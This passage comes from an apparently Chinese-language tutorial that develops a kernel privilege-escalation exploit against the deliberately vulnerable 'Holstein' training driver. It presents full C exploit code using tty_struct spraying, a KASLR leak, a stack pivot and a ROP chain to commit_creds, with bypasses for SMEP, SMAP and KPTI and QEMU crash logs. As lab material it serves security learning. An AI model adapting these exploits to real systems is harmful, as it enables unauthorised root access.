i*<span class="number">0x10</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    *(<span class="type">unsigned</span> <span class="type">long</span> *)&amp;buf[<span class="number">0x418</span>] = g_buf;</span><br><span class="line">    write(fd, buf, <span class="number">0x420</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// hijack control flow</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) </span><br><span class="line">&#123;</span><br><span class="line">        ioctl(spray[i], <span class="number">0xdeadbeef</span>, <span class="number">0xcafebabe</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    getchar();</span><br><span class="line">close(fd);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">        close(spray[i]);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>然后运行poc，得到如下报错</p><div class="code-container" data-rel="Sh"><figure class="iseeu highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">/ <span class="comment"># ./kaslr </span></span><br><span class="line">KASLR: 0xffffffff8ea00000</span><br><span class="line">g_buf: 0xffff9ac381cf5000</span><br><span class="line">BUG: unable to handle page fault <span class="keyword">for</span> address: ffffffffdead00c0</span><br><span class="line"><span class="comment">#PF: supervisor instruction fetch in kernel mode</span></span><br></pre></td></tr></table></figure></div><p>可以看到KASLR和g_buf基址均已被泄露，且程序运行到了<code>ffffffffdead00c0</code>位置，说明此时执行流已被我们控制，且程序调用对应函数表索引为<code>0xc</code></p><p>我在尝试使用<code>ret2usr</code>对其进行提权时得到了如下报错</p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))</span><br><span class="line">kernel stack overflow (double-fault): 0000 [#1] SMP NOPTI</span><br></pre></td></tr></table></figure></div><p>即产生了内核栈溢出，搜索发现这种的解决办法一般为<code>stack pivot</code>，既然这样，那就直接使用KROP就行了，继续开启保护</p><h2 id="Add-SMEP-SMAP"><a href="#Add-SMEP-SMAP" class="headerlink" title="Add SMEP&#x2F;SMAP"></a>Add SMEP&#x2F;SMAP</h2><p>使用KROP前需要进行<code>stack pivot</code>，因为我们只能控制程序的执行流，而不能控制栈。为了进行栈迁移，我们需要找到可用的gadget，但同时我们也要观察下进入执行流前的寄存器环境。给堆中写入payload和伪造函数表，同时溢出覆盖<code>tty_operations</code>函数表地址，使用代码如下：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/ioctl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">long</span> swapgs_restore_regs_and_return_to_usermode = <span class="number">0x800e10</span>;</span><br><span class="line"><span class="type">long</span> prepare_kernel_cred = <span class="number">0x74650</span>;</span><br><span class="line"><span class="type">long</span> commit_creds = <span class="number">0x744b0</span>;</span><br><span class="line"><span class="type">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">saveStatus</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    __asm__(<span class="string">&quot;mov user_cs, cs;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_ss, ss;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_sp, rsp;&quot;</span></span><br><span class="line">            <span class="string">&quot;pushf;&quot;</span></span><br><span class="line">            <span class="string">&quot;pop user_rflags;&quot;</span></span><br><span class="line">            );</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* root checker and shell poper */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_shell</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(getuid()) &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to get the root!\033[0m&quot;</span>);</span><br><span class="line">        sleep(<span class="number">5</span>);</span><br><span class="line">        <span class="built_in">exit</span>(EXIT_FAILURE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the root. \033[0m&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Execve root shell now...\033[0m&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/* to exit the process normally, instead of segmentation fault */</span></span><br><span class="line">    <span class="built_in">exit</span>(EXIT_SUCCESS);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        <span class="type">int</span> spray[<span class="number">100</span>];</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">50</span>; i++)</span><br><span class="line">            spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> fd = open(<span class="string">&quot;/dev/holstein&quot;</span>, O_RDWR);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">50</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">            spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//leak KASLR base</span></span><br><span class="line">        <span class="type">char</span> buf[<span class="number">0x500</span>];</span><br><span class="line">        <span class="type">long</span> KASLR_BASE = <span class="number">0</span>;</span><br><span class="line">        <span class="type">long</span> g_buf = <span class="number">0</span>;</span><br><span class="line">        <span class="built_in">memset</span>(buf, <span class="string">&#x27;A&#x27;</span>, <span class="number">0x500</span>);</span><br><span class="line">        read(fd, buf, <span class="number">0x500</span>);</span><br><span class="line">        KASLR_BASE = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x18</span>]) - <span class="number">0xc38880</span>;</span><br><span class="line">        g_buf = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x38</span>]) - <span class="number">0x438</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;KASLR: %p\n&quot;</span>, (<span class="type">char</span>*)KASLR_BASE);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;g_buf: %p\n&quot;</span>, (<span class="type">char</span>*)g_buf);</span><br><span class="line"></span><br><span class="line">        prepare_kernel_cred += KASLR_BASE;</span><br><span class="line">        commit_creds += KASLR_BASE;</span><br><span class="line">        swapgs_restore_regs_and_return_to_usermode += KASLR_BASE;</span><br><span class="line">        <span class="type">long</span> pop_rdi = KASLR_BASE + <span class="number">0xd748d</span>;</span><br><span class="line">        <span class="type">long</span> mov_rdi_rax = KASLR_BASE + <span class="number">0x62707b</span>;</span><br><span class="line">        <span class="type">long</span> pop_rcx = KASLR_BASE + <span class="number">0x13c1c4</span>;</span><br><span class="line">        <span class="type">long</span> mov_rsp_rax = KASLR_BASE + <span class="number">0x801114</span>;</span><br><span class="line">        <span class="type">long</span> pop_r12_rbx = KASLR_BASE + <span class="number">0x28b69e</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//construct rop chain</span></span><br><span class="line">        <span class="type">unsigned</span> <span class="type">long</span>* p = (<span class="type">unsigned</span> <span class="type">long</span>*)&amp;buf;</span><br><span class="line">        <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">        p[i++] = pop_rdi;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line">        p[i++] = prepare_kernel_cred;</span><br><span class="line">        p[i++] = pop_rcx;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line">        p[i++] = mov_rdi_rax;</span><br><span class="line">        p[i++] = commit_creds;</span><br><span class="line"></span><br><span class="line">        p[i++] = swapgs_restore_regs_and_return_to_usermode + <span class="number">0x16</span>;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        p[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">        p[i++] = user_cs;</span><br><span class="line">        p[i++] = user_rflags;</span><br><span class="line">        p[i++] = user_sp;</span><br><span class="line">        p[i++] = user_ss;</span><br><span class="line">        <span class="keyword">for</span>(; i&lt;<span class="number">100</span>; i++)</span><br><span class="line">            p[i] = g_buf;</span><br><span class="line"></span><br><span class="line"><span class="comment">// craft fake function table</span></span><br><span class="line">    *(<span class="type">size_t</span> *)&amp;buf[<span class="number">0x418</span>] = g_buf+<span class="number">15</span>*<span class="number">8</span>;</span><br><span class="line">    write(fd, buf, <span class="number">0x420</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// hijack control flow</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) </span><br><span class="line">&#123;</span><br><span class="line">        ioctl(spray[i], <span class="number">0xdeadbeef</span>, <span class="number">0xcafebabe</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    getchar();</span><br><span class="line">close(fd);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">        close(spray[i]);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>产生报错为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">/ # ./exp </span><br><span class="line">KASLR: 0xffffffffb3600000</span><br><span class="line">g_buf: 0xffffa26501d05000</span><br><span class="line">kernel tried to execute NX-protected page - exploit attempt? (uid: 0)</span><br><span class="line">BUG: unable to handle page fault for address: ffffa26501d05000</span><br><span class="line">#PF: supervisor instruction fetch in kernel mode</span><br><span class="line">#PF: error_code(0x0011) - permissions violation</span><br><span class="line">PGD 3801067 P4D 3801067 PUD 3802067 PMD 8000000001c001e3 </span><br><span class="line">Oops: 0011 [#1] SMP NOPTI</span><br><span class="line">CPU: 0 PID: 162 Comm: exp Tainted: G           O      5.15.0 #1</span><br><span class="line">Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a4</span><br><span class="line">RIP: 0010:0xffffa26501d05000</span><br><span class="line">Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f</span><br><span class="line">RSP: 0018:ffffa4c7c017fe10 EFLAGS: 00000286</span><br><span class="line">RAX: ffffa26501d05000 RBX: ffffa26501d05800 RCX: 00000000deadbeef</span><br><span class="line">RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffffa26501d05400</span><br><span class="line">RBP: ffffa4c7c017fea8 R08: 00000000cafebabe R09: 0000000000000000</span><br><span class="line">R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef</span><br><span class="line">R13: ffffa26501d05400 R14: 00000000cafebabe R15: ffffa26501a4a700</span><br><span class="line">FS:  0000000000409bd8(0000) GS:ffffa26502400000(0000) knlGS:0000000000000000</span><br><span class="line">CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033</span><br><span class="line">CR2: ffffa26501d05000 CR3: 0000000001b76000 CR4: 00000000003006f0</span><br></pre></td></tr></table></figure></div><p>触发漏洞的部分为<code>ioctl(spray[i], 0xdeadbeef, 0xcafebabe)</code>，通过寄存器环境可以看到有很多寄存器的值都是<code>deadbeef</code>和<code>cafebabe</code>，这时就可以利用寄存器及gadget来对rsp进行赋值了，例如，我找到了如下gadget</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0xffffffff811077fc</span> : push rdx ; add byte ptr [rbx + <span class="number">0x41</span>], bl ; pop rsp ; pop r13 ; pop rbp ; ret</span><br></pre></td></tr></table></figure></div><p>然后就是在合适位置伪造函数指针为此gadget，同时在ioctl时控制参数即可，exp为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/ioctl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">long</span> swapgs_restore_regs_and_return_to_usermode = <span class="number">0x800e10</span>;</span><br><span class="line"><span class="type">long</span> prepare_kernel_cred = <span class="number">0x74650</span>;</span><br><span class="line"><span class="type">long</span> commit_creds = <span class="number">0x744b0</span>;</span><br><span class="line"><span class="type">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">saveStatus</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    __asm__(<span class="string">&quot;mov user_cs, cs;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_ss, ss;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_sp, rsp;&quot;</span></span><br><span class="line">            <span class="string">&quot;pushf;&quot;</span></span><br><span class="line">            <span class="string">&quot;pop user_rflags;&quot;</span></span><br><span class="line">            );</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* root checker and shell poper */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_shell</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(getuid()) &#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to get the root!\033[0m&quot;</span>);</span><br><span class="line">        sleep(<span class="number">5</span>);</span><br><span class="line">        <span class="built_in">exit</span>(EXIT_FAILURE);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the root. \033[0m&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Execve root shell now...\033[0m&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/* to exit the process normally, instead of segmentation fault */</span></span><br><span class="line">    <span class="built_in">exit</span>(EXIT_SUCCESS);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        saveStatus();</span><br><span class="line">        <span class="type">int</span> spray[<span class="number">100</span>];</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">50</span>; i++)</span><br><span class="line">            spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> fd = open(<span class="string">&quot;/dev/holstein&quot;</span>, O_RDWR);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">50</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">            spray[i] = open(<span class="string">&quot;/dev/ptmx&quot;</span>, O_RDONLY | O_NOCTTY);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//leak KASLR base</span></span><br><span class="line">        <span class="type">char</span> buf[<span class="number">0x500</span>];</span><br><span class="line">        <span class="type">long</span> KASLR_BASE = <span class="number">0</span>;</span><br><span class="line">        <span class="type">long</span> g_buf = <span class="number">0</span>;</span><br><span class="line">        <span class="built_in">memset</span>(buf, <span class="string">&#x27;A&#x27;</span>, <span class="number">0x500</span>);</span><br><span class="line">        read(fd, buf, <span class="number">0x500</span>);</span><br><span class="line">        KASLR_BASE = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x18</span>]) - <span class="number">0xc38880</span>;</span><br><span class="line">        g_buf = *((<span class="type">long</span>*)&amp;buf[<span class="number">0x400</span>+<span class="number">0x38</span>]) - <span class="number">0x438</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;KASLR: %p\n&quot;</span>, (<span class="type">char</span>*)KASLR_BASE);</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;g_buf: %p\n&quot;</span>, (<span class="type">char</span>*)g_buf);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//0xffffffff8162707b : mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret</span></span><br><span class="line">        <span class="comment">//0xffffffff81d7734d : mov rdi, r15 ; ret</span></span><br><span class="line">        <span class="comment">//0xffffffff811077fc : push rdx ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret</span></span><br><span class="line"></span><br><span class="line">        prepare_kernel_cred += KASLR_BASE;</span><br><span class="line">        commit_creds += KASLR_BASE;</span><br><span class="line">        swapgs_restore_regs_and_return_to_usermode += KASLR_BASE;</span><br><span class="line">        <span class="type">long</span> pop_rdi = KASLR_BASE + <span class="number">0xd748d</span>;</span><br><span class="line">        <span class="type">long</span> mov_rdi_rax = KASLR_BASE + <span class="number">0x62707b</span>;</span><br><span class="line">        <span class="type">long</span> pop_rcx = KASLR_BASE + <span class="number">0x13c1c4</span>;</span><br><span class="line">        <span class="type">long</span> push_rdx_pop_rsp_pp_ret = KASLR_BASE + <span class="number">0x1077fc</span>;</span><br><span class="line">        <span class="type">long</span> pop_r12_rbx = KASLR_BASE + <span class="number">0x28b69e</span>;</span><br><span class="line">        <span class="type">long</span> swapgs = <span class="number">0x62668e</span> + KASLR_BASE;</span><br><span class="line">        <span class="type">long</span> iretq = <span class="number">0x800eb7</span> + KASLR_BASE;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//construct rop chain</span></span><br><span class="line">        <span class="type">unsigned</span> <span class="type">long</span>* p = (<span class="type">unsigned</span> <span class="type">long</span>*)&amp;buf;</span><br><span class="line">        <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">        p[i++] = pop_rdi;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line">        p[i++] = prepare_kernel_cred;</span><br><span class="line">        p[i++] = pop_rcx;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line">        p[i++] = mov_rdi_rax;</span><br><span class="line">        p[i++] = commit_creds;</span><br><span class="line"></span><br><span class="line">        p[i++] = pop_r12_rbx;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        p[i++] = pop_r12_rbx;</span><br><span class="line">        p[i++] = <span class="number">0</span>;</span><br><span class="line">        p[i++] = push_rdx_pop_rsp_pp_ret;<span class="comment">//fake_func to stack pivot</span></span><br><span class="line"></span><br><span class="line">        p[i++] = swapgs;</span><br><span class="line">        p[i++] = iretq;</span><br><span class="line"></span><br><span class="line">        p[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">        p[i++] = user_cs;</span><br><span class="line">        p[i++] = user_rflags;</span><br><span class="line">        p[i++] = user_sp;</span><br><span class="line">        p[i++] = user_ss;</span><br><span class="line"></span><br><span class="line"><span class="comment">// craft fake function table</span></span><br><span class="line">    *(<span class="type">size_t</span> *)&amp;buf[<span class="number">0x418</span>] = g_buf;</span><br><span class="line">    write(fd, buf, <span class="number">0x420</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// hijack control flow</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) </span><br><span class="line">&#123;</span><br><span class="line">        ioctl(spray[i], <span class="number">0</span>, g_buf<span class="number">-0x10</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    getchar();</span><br><span class="line">close(fd);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++)</span><br><span class="line">        close(spray[i]);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="Add-KPTI"><a href="#Add-KPTI" class="headerlink" title="Add KPTI"></a>Add KPTI</h2><p>添加KPTI后，仅需将rop链中的</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">p[i++] = swapgs;</span><br><span class="line">p[i++] = iretq;</span><br></pre></td></tr></table></figure></div><p>更换为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">p[i++] = swapgs_restore_regs_and_return_to_usermode+<span class="number">0x16</span>;</span><br><span class="line">p[i++] = <span class="number">0</span>;</span><br><span class="line">p[i++] = <span class="number">0</span>;</span><br></pre></td></tr></table></figure></div><h2 id="AAW-AAR（待补充"><a href="#AAW-AAR（待补充" class="headerlink" title="AAW&#x2F;AAR（待补充"></a>AAW&#x2F;AAR（待补充</h2><p>我们首先构造一个AAW和AAR原语，然后再讨论可利用的方法</p><h3 id="AAW-AAR原语"><a href="#AAW-AAR原语" class="headerlink" title="AAW&#x2F;AAR原语"></a>AAW&#x2F;AAR原语</h3><p>首先找到一个有效的赋值gadget，然后AAW如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//0xffffffff810477f7 : mov qword ptr [rdx], rcx ; ret</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">AAW</span><span class="params">(<span class="type">size_t</span> add, <span 